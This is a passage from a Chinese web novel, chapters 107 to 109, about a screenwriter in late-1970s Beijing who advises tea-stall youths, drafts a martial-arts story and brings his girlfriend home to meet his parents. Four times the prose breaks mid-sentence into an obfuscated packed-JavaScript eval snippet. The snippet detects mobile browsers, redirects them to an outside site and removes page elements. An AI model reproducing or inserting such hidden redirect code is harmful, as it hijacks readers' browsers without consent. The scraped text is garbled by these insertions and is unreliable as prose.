于是姐弟俩又挤公交车,奔无比熟悉的北新桥。 北新桥商场,过了十字路口,马路东边就有一家委托商店。 那么,啥叫委托商店啊。 简单说,委托商店有点像当铺。 商店里所有的物件都是别人寄卖的,双方商定一个价格,店家售卖出去后,会向寄卖者收取一定比例的提成。 又或者是,店家把物件买过来,那么,卖多少钱就与寄卖人无关了。 姐弟俩走进商店。 高远一瞧,面积不小,百十平左右的样子,屋子里摆放在一溜玻璃柜台,柜台后面是货架。 货架上琳琅满目。 什么二手电视机、收音机、电风扇之类的家用电器。 柜台里放着各种手表,国产的、瑞士的、德国的,男款的、女款的。 靠西墙那个区域里,全是古玩字画,各种瓶子罐子造型独特,异常精美。 甚至还有成套的蛐蛐罐。 让高远大开眼界。 商店中间摆放着古家具,黄花梨的、紫檀的。 高远也不懂,更没打算搞收藏。 不过话说回来,这年月搞收藏捡漏还真是个好时候。 马未都不就凭借精准的眼光和过人的胆识发家致富了么。 还有女长老,整车整车地往香港倒腾紫檀家具,赚得盆满钵满,连体型都很丰满。 也不知道第三代唐长老压上去是个啥感觉? 虽说这是个捡漏的好年代,买到一件好玩意儿可以传家,但对于超出自己认知范围内的事物,高远向来敬而远之。 别眼热马未都、女长老,人家那都是实打实有真本事的。 但是你同时也得知道,在这个年代里打眼、被坑的人照样不在少数。 高远姐弟俩挨个柜台转了一圈,倒是看到一台相机,还是1923年出厂的徕卡1A型照相机,就是外面带个棕色皮套的那种,但它太古老了。 镜头胶圈和快门,包括过片扳手像密码锁一样,根本就不能用了。 高远只想买一台国产的海鸥或者友谊,问了售货员。 售货员眼皮子都不带抬一下的,张嘴扔出来两个字儿:“没有!” 姐弟俩苦笑一声便死心了,一起往出走。 买不到怎么办? 也不是没有办法,可以租。 广场上就有租售相机的摊位。 高远租了一台,买了个胶卷,先给姐姐咔嚓了几张,又在附近转悠起来。 城门楼子、广场、纪念碑、大会堂、纪念堂、街道、蹬着自行车的行人,拍了个一溜够。 他神奇的发现,广场上居然有人在摆茶摊儿卖大碗茶。 一看就知道是返城的知青。 因为知青们穿着非常朴素,大多数人裹着黑棉袄,穿着免裆裤,脚蹬棉布鞋,棉袄上补丁摞补丁。 这些人的脸色也普遍是蜡黄的,那是因为营养不良造成的。 高远记得,姐姐刚从北大荒回来的时候也这样子。 他没敢靠近,远距离拍摄了两张照片。 高雅叹息道:“今年回来的知青越来越多了,我听说,市里根本没有那么多的工作岗位提供给大家,要求各街道、各居委会办生产服务合作社,以解决知青们的工作问题。” 高远咔嚓又拍了一张,惊讶道:“生产服务合作社,那不是集体单位么,工资低、待遇差,还没啥福利,知青们能干?” 高雅压低声音说道:“当然没人愿意干了,谁不想去国营正式单位上班啊,拿一份工资起码旱涝保收,但这不是没那么多就业岗位么。 大家不愿意干也得硬着头皮干,总不能待在家里吃闲饭吧?” “姐,你是说,这茶摊就是某个居委会开办的集体单位?” “我估计是,从他们的穿着打扮上你就应该能看出来,都是从乡下回来的知青。” 高远点点头,心里也清楚,今年回来了不少人,明年会更多,因为中央的政策已经明确了,不再动员知识青年上山下乡。 这样一来,想尽千方百计返城,就成为老三届、老知青们的执念和具体行动。 “咱俩过去捧个场?”高远笑着问道。 摆茶摊未必不是门好生意,不是未必,应该说一定是一门好生意。 大碗茶两分钱一碗,全是茶叶沫子,一碗能挣一分五。 并且,前门这块儿是个宝地啊,本地人爱逛,外地人必逛。 堂堂首善之都,每年来京出差送礼跑部钱进的人如过江之鲫,来了总不能不朝圣吧? 偏偏前门楼子这块儿虽铺面多,却没一个卖水的。 你让来磕一个的家伙们口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402287|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渴了可咋弄? 北冰洋汽水一毛五一瓶,不是花公家钱的那帮人,普通消费者还真舍不得喝。 所以说,在前门这块儿摆个茶摊,绝对能挣大钱。 别看收的都是钢镚,架不住量大不是? 后世还有首歌呢,叫《前门情思大碗茶》,李谷一唱的。 你爷爷我小的时候,常在这里玩耍…… 高远心说,等我老了,一定要唱给小孙子听。 高雅见他乐呵呵的,也微笑着点头说:“走呗,正好我也口渴了,去喝碗茶解解渴。” 姐弟俩快步走到茶摊前。 高远一瞧,一个帆布棚子,里头砌了个大炉子,六张八仙桌后面是条凳,炉子上坐着大茶壶,旁边立着个一米高,七八十公分直径,刷这层绿漆,带卡扣的保温桶,这桶底端有个小水龙头,拧开就出水。 保温桶正面写着五个鲜红的大字:为人民服务! 一个碗柜里整齐摆放着一大摞粗瓷大碗。 男男女女共有八人,跟八大金刚似的,但分工明确、井然有序。 男同志们拿着碗给客人们接茶水,女同志们烧水的烧水,倒茶的倒茶,收钱的收钱。 这该死的年代感,都把高远给看乐了。 高雅轻声问他道:“在前门楼子前砌炉子,就没人管吗?” 高远一乐,道:“这算啥,你刚才没看见么,广场上还有卖土豆的呢。政府为了解决知识青年就业问题,在某些无伤大雅的事情上面也不会太较真儿。” 一个看上去三十来岁的男子笑着说道:“小兄弟这话对,我们这帮人都沦落到来城门楼子前摆茶摊过活了,领导们再跟我们讲政策、摆规定,不许这个不许那个,可就太不近人情了。 您二位是姐弟俩吧?来一碗尝尝?” 高远笑眯眯说道:“大哥,您看人真准,来两碗,我们姐弟俩一人一碗。” “嗐,不是我眼力好,你们俩长得太像了,脸型、眉眼儿、鼻梁骨都像,我一瞧你俩就是亲姐弟。稍等啊兄弟,大哥给你接茶水去。” 他说着,从碗橱里拿了两个粗瓷大碗,拧开保温桶的水龙头,利落地接了两大碗冒着热气的茶过来,分别递给姐弟俩,又道:“诚惠,四分了您内。” 高远接过碗,摸出两个贰分的钢镚来,递给他。 男子笑笑,一直条几上的空碗,道:“扔里面就行,卫生还是要注意的。” 这大哥还挺有意思。 高远答应一声,把大碗凑到嘴边喝了一口,这口感,主打一个呸呸呸! 全他娘是茶叶沫子和梗子。 但胜在解渴。 尤其在冬天,喝上一碗热茶水,整个人身上的汗毛孔全都打开了,就叫一个舒坦! 他没话搭拉话,跟这位老大哥扯起了闲篇儿,“大哥,你们就只卖大碗茶啊?” 男子笑着说:“对啊,只卖大碗茶,不然还能卖啥啊?” 高远眼珠儿一转,说道:“恕我直言,您目光短浅了,您瞧这是哪儿?大前门啊,这地界儿店铺云集,交通便利,公交车站、火车站、汽车站、地铁站(别杠,1971年就通车了,不信去查)无所不包。 关键是还有一家涉外酒店,叫啥来着?” 高雅补充道:“前门饭店。” “对,前门饭店,那里头住的可都是港澳台同胞和黄头发蓝眼珠的外国友人,每天打这儿经过的人流我不说相信你们这段时间也算计过了。 就只卖茶水不是浪费这么好的地段了么?”高远白话道。 第107章 拍摄资金下来了(求好评,求必读票) 男子一听,目光爆闪,一拍大腿说道:“兄弟你说得没错儿,光卖茶水确实是浪费了这么好的地段了,但是,卖其他东西,政策上允许吗?” 高远一口气喝干了碗中的茶,一抹嘴说道:“政策这种东西吧,它本身就具备灵活性,通常是根据大局需要随时进行调整的。 再说了,政府不是已经允许你们加入合作社卖大碗茶了吗? 这就说明政府为了解决广大知青同志们的就业安置问题,已经逐渐放宽了政策限制。 既然政府都睁一只眼闭一只眼,你们为什么不能扩大经营范围呢?” 话说到这里,严冬里本就没有几个客人招呼的其他几位也都凑了过来。 一个梳着大辫子的女知青忙问道:“小兄弟,一看你就是个有学问的人,你给我们出出主意,我们还能卖点啥?” 高雅还是很谨慎的,她虽然能共情这帮知青,但也不想让自己弟弟说得太多,要知道,言多必失,她轻轻拽了拽高远的大衣袖子。 高远笑呵呵看姐姐一眼,拍拍她的手背,说道:“姐,放心,没事儿。” 高雅剜他一眼,却没再阻拦他,她对这帮知青们的境遇还是能够感同身受的。 弟弟愿意指点他们一条出路,又说了没事儿,当姐姐的还是很乐意让弟弟帮他们一把的。 另外她也想,若是自己没有考上大学,即便回了城,出路也只有两条,一是等待街道办或者居委会安排工作,分到哪儿是哪儿,认命。 二是托关系找门路安排个好工作,但是难度比较大。 顶岗是不可能的,老爸是大学老师,老妈是外科大夫,都属于技术工种,即便两人中有一个愿意提前退休,让她顶上去,她不管接谁的班都不会被领导安排在重要工作岗位上。 高远可不知道姐姐的心思如此缜密,他继续白话道:“可卖的东西太多了,比方说,客人们是来这地儿游玩的,走累了,过来喝碗茶歇歇脚,你们能不能顺带着卖点儿瓜子、花生啥的。 又比如说,天儿冷了,你们在棚子外面挂一道门帘子,再竖个招牌,就写三个大字:热馄饨。 你们自个儿有炉子,自己包自己煮能不能行? 夏天喝茶的人应该不多吧?” 几个人点点头,说不多,起码不如秋冬天多。 “那为什么不能卖冰棍,卖绿豆汤,卖西瓜这些消暑解渴的东西呢?根据不同的季节出售不同的商品,以满足人民群众不同的物质需求,这很难吗?” 高远忽地正色起来,道:“要解放思想嘛同志们,传统思维、固化思维已经严重影响到你们发财致富了,思路要打开,格局也要打开,只有这样做,你们的日子才会越过越好、蒸蒸日上。” “兄弟,听君一席话胜读十年书,醍醐灌顶,醍醐灌顶了!哎呀,你可给我们带来太多的启发了,这主意太棒了,我代表兄弟姐妹们感谢你啊。”老大哥热情握住高远的手使劲摇晃起来。 其他几位也都目光热切望着高远,好听的话不要钱一般送进他的耳朵里。 那位大辫子姐姐更是把两个钢镚硬塞进高雅手中,说:“大妹子,这钱我们说什么都不能收,你快揣起来,以后常来,以后常来啊。” 高雅红着脸推拒说道:“怎么能白喝你们的茶呢,不行不行,这绝对不行,你们挣钱也不容易,姐姐放心,我和小弟今后会常来光顾你们的生意的。” 高远也说道:“是啊姐姐,这么多人看着呢,就别推来让去的了,下次我和我姐再过来,您就是想收钱我也不会给的。” 说完,他把茶碗放下,拉着姐姐抬腿就走:“再见了各位!” “兄弟,你还没告诉我们,你叫什么名字啊?” “请叫我红领巾!” 主打一个做好事不留名。 身后传来一阵欢快地笑声。 高远把胶卷取出来,把照相机还了,取回来押金,这才跟姐姐坐上公交车打道回府。 照片倒是不着急洗,他有便利条件,北影厂就有洗印暗房,回头塞两盒烟,拜托冲印师傅帮忙洗出来就是了。 要不是不想搭人情,他连相机都不会租,直接去厂里借一个用用就成,但这不是他的性格。 给这帮知青们支招,只是高远生活中的一点小乐趣。 接下来两天,他没再出门闲逛,安分守己待在屋里一门心思扑在创(抄)作(袭)上。 他原本打算写写黄飞鸿,后一想,倒不是难度太大,牵扯到跟梁晓声的合作,一上来就提高难度他担心老梁吃不消。 其实高远还有下一步的打算,再过一年,他打算办本杂志。 8、90年代传统文学热度空前,各类杂志层出不穷。 甚至有些区县都在办杂志。 国家有过相关统计,截止到1980年,全国各省、自治区、直辖市以及其下属的地级市、区县,共有各类报刊、杂志680余种。 为了砍掉这类不必要的资源浪费,节省成本,文化部迅速做出反应,一口气停刊了400余本杂志。 能够被保留下来的,起码也是有一定影响力的杂志。 这年头办杂志不难,只要有个挂靠单位就成。 高远琢磨着,自己也办一本杂志,把它搞得红红火火,丰富人民群众业余文化生活的同时,自己也能挣点小钱钱。 那么,类似于黄飞鸿、霍元甲、陈真之类的故事,就不便宜外人了,还是在自己的杂志上刊登吧。 思来想去,还真想让他想起了一部挺合适的作品来——《龙腾虎跃》 这片子他印象可太深刻了,成龙主演的武打喜剧片。 国内就没有原版,他是在爱奇艺兴起的年代看的网络版。 对电影里眼花缭乱、精彩纷呈的打斗场面记忆犹新。 并且这故事不复杂,讲述了一对失散多年的兄弟联手对付天地双煞的故事。 高远提笔就写。 他先写了个大纲,然后任性地更改人物设定,什么**天地双煞。 天地双煞哪有雌雄双煞有看点有意思啊。 用时一天写完大纲及人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402288|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物设定,再用一天时间写了三千字开头。 第三天一大早,他拿着稿子直奔北影厂。 进了厂,高远发现一群身穿蓝色工装,头戴藤帽的建筑工人正从一辆解放车后斗上往下面卸建筑材料,顿觉惊奇。 蔡明蹦跶过来,一拍他的肩膀笑嘻嘻说道:“喂,看什么呢?” 这不是废话吗? 我看工人卸货啊,看工人卸货可比看你有意思多了。 “怎么个情况啊?厂里有大工程?”高远一努嘴,问道。 菜菜子翻了个白眼儿,说道:“明知故问呢你?不是你提议的么,要建清末民初风情街,这不,一车车地往厂里拉建材,搞得全厂都爆土扬尘的。” 高远激动道:“资金批下来了?” 菜菜子昂了一声,道:“老厂长有力度啊,跟廖公一说,廖公就同意了。我还听说,廖公对你创作的《太极宗师》特别满意,直夸奖说这是个好故事呢,特批了100万拍摄资金给厂里。 高远,你厉害了。 全厂干部职工都眼红。” 眼红可不是什么好兆头。 “一般一般,全厂第三。”高远说了个不属于这个年代的梗。 胜在通俗易通。 蔡明撇着嘴道:“说你胖你还喘上了。对了我问你,你这部片子有没有适合我的角色啊?大家都自己人,有好事儿你可得记着我点儿。” 我跟你不是自己人啊,我又不是郭达。 高远默默吐槽,心里盘算着,要不,赏她一个小角色? 比如说让她演第五层的守塔大魔王东瀛女忍者大桥未久? 不行不行,她盘子不够靓,气质不够冷。 给她安排一个逗比小萝莉的角色还成,演高岭之花,还是算了吧。 高远忆了忆剧中的女性角色,说道:“我暂时不能答应你,因为我也记不住剧中有哪些女角色了,回头再瞧瞧剧本,你放心,只要有合适的女角色,凭咱俩的交情我肯定会给你留一个的,但不保证戏份啊。” 菜菜子嘻嘻一笑,一拍高远的屁股说道:“我就知道你最够意思了,得,我走了,你慢慢吃灰吧。” 幸亏穿了军大衣啊,不然这一巴掌拍上去,高远能立刻沸腾了。 惹不起啊惹不起。 高远赶紧闪人,支好车子刚走进主楼,迎面碰上了李健群。 “李老师好。” “高老师好。” 两人对视着,不约而同笑了起来。 李建群目光清澈望着高远,红唇微张,问道:“今天怎么有空过来了?” 高远笑着说道:“给梁大哥送稿子。” “呀,你又写新故事了?不愧是年轻人,创作精力太旺盛了,别人一年写俩都属于高产了,你倒好,这一年都写四个了吧?” 我其他精力也很旺盛。 高远嘿嘿笑道:“《故事会》约稿,写的又是我比较擅长的武打故事,自然速度就快很多。再说这个故事是我和梁哥联合创作的,我只负责上半部分,梁哥写下半部分,写起来就更得心应手了。” 第108章 健群,做我女朋友吧(求票) 李健群知道高远一直在暗暗地关照梁晓声,要不是有高远时不时的接济,梁晓声的日子过得很紧巴。 “让梁老师帮你分担分担也挺好的,你还是个学生,当以学业为主,挣钱的日子还在后面呢。”健群姐笑意嫣然。 “放心,为了将来美好的生活,我争取做到学业、挣钱两不误。”高远特喜欢跟温柔大姐姐聊天,言语中带着三分轻浮。 李健群听得懂,她有点不好意思地望着高远,羞怯的,鼓足了勇气低声问道:“那个,咱俩的事儿,你到底怎么想的?” 高远闻言,心脏都漏跳了一拍,接着狂喜。 他抓住李健群柔嫩细腻的小手,认真地说道:“表白这种事情,应该男孩子主动开口的,对不起啊,因为我的优柔寡断,让你等的心焦了。” 别看李健群表面上柔柔弱弱的,其实她是个内心特别强大且坚定的姑娘。 闻言她轻笑一声,说道:“我一直认为,爱情不分谁先谁后,只要认定了那个人是对的就好。我也没有等的心焦,我知道,你最近很忙。 我只是有点怕时间长了,就会错过这段美好的缘分。” 姑娘都表露心迹了,高远原本对她就喜欢的不得了,感动地点点头,说:“健群你知道,我一直是深爱着你的,我现在郑重地请求你,做我女朋友吧。” 李健群迷人的双眸如秋水剪瞳,脸颊也飞快地红润起来,她点着头,轻轻嗯着,说:“我愿意的。” 高远的胸腔里仿佛炸开了一簇烟花,火星子顺着七经八脉窜遍全身,李健群柔和的俏脸在他的视网膜中熔化成蜜糖,他心跳再次加快,轻轻将大姐姐拥入怀中,笑得像个二傻子一般。 李健群此刻是清醒的,她挣了挣,说道:“哎呀,人来人往,大庭广众的,赶紧放开我啊,你不要脸我还要呢。” “激动了,激动了。”她这么一提醒,高远才将抱着她的双手收了回来,又端详着她,怎么也看不够。 他心里也清楚,在这个保守的年代中,自己表达爱意的方式有点超前了。 有违公序良俗。 不信你看,大街上,情侣们一起走都得相隔30公分,看场电影拉拉小手都得偷摸进行。 到了夜晚,中山公园、景山公园里谈恋爱的小年轻,你要是敢当众打个啵儿,没一会儿那些个戴着红袖箍的小脚侦缉队员们就会杀上门来,齐心协力将你俩押送至派出所,治你个流氓罪。 好在这是在厂里,即便有工作人员看到两人相拥这一幕也只会笑笑,然后送上诚挚的祝福。 高远和李健群两人互有好感这事儿大家早已心知肚明,也看好两人最终能走到一起。 因此,主楼里来来往往的领导、职工、导演、演员们见二人又是拥抱,又是牵手的,有笑而不语的,有打趣调侃的,有起哄架秧子的。 就是没有说一句:呸,臭不要脸的。 黄玲老师还打趣道:“哟,我们小高老师总算开窍了,啥时候吃你俩的喜糖啊?” 高远即便脸皮再厚,这时候也有点挂不住了,他嘿嘿一笑,说道:“黄老师就别挤兑我了,我还没到法定结婚年龄,还是个孩子呢。” 黄玲爽朗一笑,道:“你这个孩子可不简单,都敢追求大姐姐了,嗯嗯,不错,你俩是天造地设的一对。小子我可告诉你,我拿健群当亲闺女待的,你可不能欺负她。” “诶!诶!谨遵您老的教诲,回头我定把健群供起来。”高老师像个狗奴才一般点头哈腰道。 李健群伸手在他腰间拧了一下,没拧动,穿着军大衣呢,她嗔道:“别犯贫了,赶紧忙你的正事儿去。” 高远贱兮兮笑着,说:“咱俩晚上一起吃饭啊,庆祝恋爱第一天。” 李健群意动,轻声说:“好,晚上食堂见。” 高远翻个白眼儿说道:“吃什么食堂啊,人多眼杂的,我请你吃老莫去。” “有俩钱儿烧得你,你不愿意吃食堂,咱俩就去你屋,自己做着吃,就这么说定了。”李健群是个过日子的姑娘,说完,她推了高远一把,把他推上楼。 高远乐得跟什么似的,边往楼上走便哼着小曲:“那尼卡拉次塔诶咧吧依依诺卡,哇卡拉那伊麻麻托ki哈那嘎咧忒,乌卡恩得哈,ki诶忒朱库,阿里夫咧塔阔托吧达克……” 这是曾经风靡全国的日本电视剧《东京爱情故事》的主题曲《突如其来的爱情》。 铃木保奈美那个漂亮啊。 上辈子,高远做梦都想跟她睡一觉。 所以就……学会了小田和正这首歌。 “哟,高老师还会说鬼子话呢。”走进文学部办公室后,梁晓声打趣他道。 “说不好,瞎说。”高远走过去,一瞧,办公室里仍然空空荡荡。 年底了,大家是能摸鱼就摸鱼,能偷懒就偷懒。 他从大衣内兜里把稿子掏出来,往桌子上一拍,说道:“大纲我写得很完整,开头写了三千字,后面看你的了。” “你速度还挺快。”梁晓声迫不及待拿起来看了看。 高远说道:“没办法啊,顾小白催得急,两天一个电话,在厂里找不着我就往我爸办公室里打,我爸再让他学生去家里喊我给他回电话。 那家伙一接电话就催我,写了没有啊?写到什么程度了?你倒是快点儿啊。 再不动笔我就去京城跟你决斗了! 妈的,给我造成了极大的心理压力和精神伤害。” 梁晓声笑得鼻孔都扩张了,“嗯嗯,这是他能干出来的事儿,现在各杂志社都缺好内容,前阵子张德凝还跟江主任打听你呢,问你最近写了什么新作品没有? 江主任说,小高最近把精力全扑在剧本改编上面了,让她近期别打扰你。 张德凝就跟江主任抱怨说,现如今杂志社组稿太难了,有点知名度的作家们产量也不高,就这,还被多家杂志社紧盯着,杂志社跟杂志社之间的竞争特别激烈。” 他的目光一直没离开过稿子,突然,“咦……这个故事有点儿意思啊,尤其是这个设定,程家三兄弟为民除害,因此惹恼了雌雄双煞,遭到两人报复。 两人惨死于雄煞的屠刀之下,老二程振南,老三程振北带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402289|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着他们的儿子阿龙阿虎踏上逃亡的旅程,期间失散。 多年后,阿龙成长为乐观开朗的英俊青年,一次无意中,他使出失传已久的程家拳,被一直耿耿于怀的雌雄双煞发现了行踪,结果家中惨遭灭门。 后在丐帮帮主的女儿小玲的帮助下逃过一劫。 接着偶遇失散多年的阿虎,兄弟联手,为父报仇。 有矛盾点,又悬念迭生,还有爱情元素,又不乏正义感,为父报仇这个情节更是彰显了中华民族的传统孝道美德。 远子,这本子我接了,放心,我一定会把它写好的。 对了,写多少字为佳?” 高远听他啰哩吧嗦说完这一通后笑着回答道:“别太多了,三万字左右就成。” 梁晓声思索片刻后点头道:“加班加点的话,三天就能完活儿。你走吧,我要进入写作状态了。” **,你这是放下碗就骂厨子! 高远狠狠瞪他一眼,转身走了。 厂里热火朝天,工人们干劲十足搭建着外景。 高远无心观看什么,蹬上自己行车回了家。 他还得准备点食材,晚上要给李老师露一手。 到家后适逢老妈休班。 见他回来了,张雪梅乐呵呵问道:“去哪儿了?” 高远走过去,在老妈身边坐下,笑道:“去了趟北影厂。” 老妈又问道:“你现如今在北影厂算个啥身份啊?” 高远拿了个苹果用水果刀削着皮,刀法娴熟,果皮不断,“算是个编外人员吧,也可以说是外聘人员,就是我写的剧本厂里有优先购买权,但也不会阻止我给其他制片厂写剧本。” “不给你开工资?” “当然不给我开工资了,我又不在编。” “那跟给地主家扛活的长工有啥区别啊?” 高远一乐,将削好的苹果递给老妈,道:“区别还是蛮大的,我打个比方,我给其他制片厂写剧本,同一个本子其他厂可能只会给1000块,但北影厂肯出1500,这叫溢价收购。 长工不一样,无论他给哪个地主干活,租子都是同等的。” 他这么一解释,张雪梅就明白两者之间的区别了。 “小远,妈问你,你大学毕业后是不是打算进制片厂工作啊?” 这时候,高雅从卧室里走出来,她穿着一套红色运动装,梅花牌的,天津产,打着哈欠说道:“妈,你这话就多余问,小远自然是要进制片厂的,要不然他费劲巴拉给制片厂写那么多剧本干嘛?” 高远却说道:“那可不一定,现在考虑这些太早了,距离毕业还好几年呢,到时候再看吧。” “倒也是,你现在也是小有名气的编剧了,说不定等你毕了业,其他制片厂都抢着要你呢。” 张雪梅对儿子取得的成就深感欣慰,说完后又想起来一事儿,问道:“对了,你跟健群那姑娘发展得如何了?” 高远闻言瞪着姐姐,咬牙切齿道:“你个叛徒!” 高雅往后缩了缩,满脸心虚地说道:“你不能怪我啊,敌人的攻势太猛烈了,姐根本就挡不住。” 第109章 见公婆 高远叹声气,心说刚好今天正式确定恋爱关系了,那就招了吧。 “妈,我俩在谈朋友。” 张雪梅喜上眉梢,“嘿,还真让你小子得手了啊,健群可是个好姑娘,你一定要好好对待人家,不过……” 她欲言又止。 高远明白老妈的心思,直言不讳道:“只比我大三岁而已,您的思想不会那么传统吧?” 张雪梅一笑,道:“妈也不是思想传统……算了,你们两人对彼此满意就行,国家都在提倡自由恋爱,妈管多了不是跟国家政策唱反调嘛。 再说,我也是真喜欢健群那姑娘,温温柔柔的,一看就是个会过日子的好孩子。” 高远抱着老妈的胳膊,嬉皮笑脸道:“那您帮我准备点吃的喝的呗,我们俩说好了,今晚一起吃个饭。” “怎么还要准备吃食啊,你俩打算去哪儿吃?”老妈不解,问道。 “去北影厂招待所我那房间啊。”高远回答。 “费那劲干嘛?晚巴垧你跑一趟,把健群接到家里来,既然你俩已经确定关系了,妈给健群做顿饭吃也是应该的,姑娘一个人闯京城不容易,无依无靠的,你跟健群说…… 算了,还是见了面我跟健群说吧,今后这就是她的家了,就这么定了!”老妈拿出一家之主的威严范儿,拍板定案,根本不许高远反驳。 高远只得答应下来,“行吧,晚一会儿我去接人。” 高雅乐道:“妈,健群第一次上门,您要不要给人家姑娘包个红包啊。” 张雪梅温和一笑,道:“那自然是要的。小雅你也别闲着,回头去一趟你爸办公室,让他晚上别加班了,早点回来吃饭。” 高雅忙点头应下。 冬季,天黑得早。 不到五点钟,太阳已经快要落山了。 高远又蹬着自行车奔北影厂,在主楼门前等到了李健群,把老妈的话一传达。 李健群的脸腾地红了,见公婆啊,她手足无措道:“回家吃饭,这不合适吧?” “这有什么不合适的?咋,咱俩的关系见不得人啊?” “不是不是,我不是这个意思,哎呀,臭东西,我只是觉得有点突然,还有点紧张。” 高远牵起她的手,笑嘻嘻说道:“我妈和我爸你又不是没见过,老两口都是很随和的人,非常好说话,你紧张什么呀。 再说不是还有我和我姐陪着你嘛,走吧走吧,早晚要过这一关的。” 李健群想想也是,又问他道:“初次登门,我总不能空着手去吧?多不礼貌呀,你说我买点什么好?” 高远随口说道:“买二两猪头肉吧,我爸爱吃。” 李健群打他一下,见他上了车子,轻轻一跳坐上了后座,指挥着他去供销社。 高远很了解姐姐,知道她其实是个性格很执拗的人,今天要不让她把礼物买了,她绝对会拒绝去家里吃饭的。 拧不过她,高远只得奔供销社而去。 李健群出手很大方,买了两瓶西凤酒,两条丝巾,还有一个点心匣子。 高远要付钱,被她拦住了,死活不让,说这是自己作为晚辈的一点心意。 付了钱后拎着礼物出了门,高远把东西接过去挂在车把上,等她又坐上自行车,才开始猛蹬。 李健群第一次坐高远的车子,见他骑得飞快,紧紧抱住这货的腰,小脸煞白道:“你慢点儿骑,总共没有几步路,骑那么快干嘛呀。” 高远腆着脸笑道:“我不快点儿骑,你咋好意思搂我腰啊。” “讨厌**!你啊,年纪轻轻的,满肚子心眼子。”李健群给了他一拳,小脸儿红扑扑的。 进了家属院,正赶上老师们下班。 对门刘长征两口子见高远驮着一个气质高洁,漂亮的跟仙女儿一般的姑娘骑行过来,两双眼睛立刻发亮。 这个刘婶叫沈丽茹,她端详着李健群,呀了一声,惊喜道:“小红!你是小红!” 高远在两人面前停下,单腿撑着地,笑眯眯看着沈丽茹。 李健群下来了,脸色微红,笑道:“阿姨您好,我叫李健群。” “哎呀,这姑娘可真漂亮,比电影上还漂亮。”沈丽茹拉着她的手,笑容满面道:“没想到啊,大明星竟然会被我碰到了。 哦,瞧我这记性,差点儿忘了那个电影就是小远写的,姑娘这是来小远家里做客的吧? 你们两个……” 老娘们儿嘛,好奇心总是很强的,她看看高远,又瞧瞧李健群,目光显得意味深长。 刘长征拽她一下,不悦地说道:“你瞎打听什么!” “我问问怎么了嘛。” 高远大大方方地说道:“长征叔,婶子,我正式给你们介绍一下,健群是我的女朋友。” 沈丽茹笑开了花,“哎呀,高教授和张主任真有福气啊,你给你爸妈找了这么个如花似玉的儿媳妇。” “张主任我知道,高教授是怎么回事?”高远敏锐捕捉到沈丽茹的话头儿。 刘长征一笑,说道:“小远,你还不知道呢?你爸是学院今年的优秀工作者,晋职称了,被评为了数学系副教授。” 高远咧嘴笑了,“我爸还真没跟我说,您呢叔儿?” 刘长征哈哈大笑,“我跟你爸是一批,也成副高了。” 高远拱着手说道:“恭喜恭喜。” 刘长征也拱手道:“同喜同喜。” 都把李健群看乐了,这爷儿俩还挺有意思。 四个人进楼道上了楼。 高远邀请道:“叔儿、婶子,今晚来家吃吧。” 沈丽茹忙说道:“不了不了,你对象第一次登门,我和你叔就不打扰你们一家团聚了,待会儿婶儿做两个菜给你送去,让你对象尝尝。” 这个时代的人就是这么朴实无华。 高远点点头,刚把钥匙掏出来准备开门,房门被拉开了,露出高雅那张明媚的笑脸来。 “健群,欢迎你来家里做客。”她见李健群拎着俩网兜,又道:“你也太客气了,来就来吧,怎么还带东西啊。” “姐姐好,初次登门,哪有空着手的。”李健群笑盈盈说道。 “太见外了,快进来快进来,屋里暖和。”高雅把东西接过去,侧身请李健群进去,又喊道:“老爸老妈,健群来了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402290|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>高跃民和张雪梅听到喊声,从厨房里走出来。 “高叔叔好,阿姨好。”李健群走上前,红着脸问候道。 张雪梅笑容满面心花怒放,在围裙上擦了擦手,握住李健群的手说道:“健群你好啊,哎哟,怎么还带东西来了?你这孩子也太客气了,咱家不讲究这一套的。” 李健群羞涩地说道:“只是一点小礼物,叔叔阿姨不要嫌弃。” 高跃民也笑成了一朵花,“不嫌弃不嫌弃,我爱喝两口儿是高远这小子告诉你的吧?” 